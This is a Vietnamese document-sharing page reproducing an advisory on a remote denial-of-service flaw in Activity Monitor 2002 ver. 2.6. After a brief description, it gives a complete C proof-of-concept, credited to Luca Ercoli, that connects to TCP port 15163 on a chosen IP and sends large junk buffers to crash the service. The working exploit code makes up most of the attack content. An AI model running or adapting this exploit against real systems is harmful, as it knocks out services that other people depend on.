Tải bản đầy đủ (.doc) (2 trang)

Lỗi của Activity Monitor 2002, remote DoS

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (33.1 KB, 2 trang )

Lỗi của Activity Monitor 2002, remote DoS
trang này đã được đọc lần
Giới thiệu:
"Activity Monitor 2002 is a monitoring software system for real time employee monitoring and
continuous tracking of users activities on networked computers."
More information can be found at www.softactivity.com
Mô tả:
Bằng việc kết nối TCP cổng 15163 và gửi một chuỗi dài, attacker ở xa có thể
làm cho trình bị crash và cạn kiệt tài nguyên CPU.
Ảnh hưởng: Activity Monitor 2002 ver. 2.6
Khai thác:
CODE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
int i,ck,port,sd;
char dos[10000];
struct sockaddr_in act_mon_server;
if(argc < 2)
{
printf("\nUsage: %s <ip>\n", argv[0]);
exit(0);
}
port = 15163;
for(i = 0; i < 10000; i++) dos[i] = 'x';
act_mon_server.sin_family = AF_INET;
act_mon_server.sin_port = htons((u_short)port);


act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
(act_mon_server));
if(ck != 0) {
perror("Connect");
exit(0);
}
printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
printf("\t\tby Luca Ercoli \n\n");
write(sd, dos, sizeof(dos));
write(sd, dos, sizeof(dos));
write(sd, dos, sizeof(dos));
printf("\nDoS sent!\n");
close(sd);
exit(0);
}

×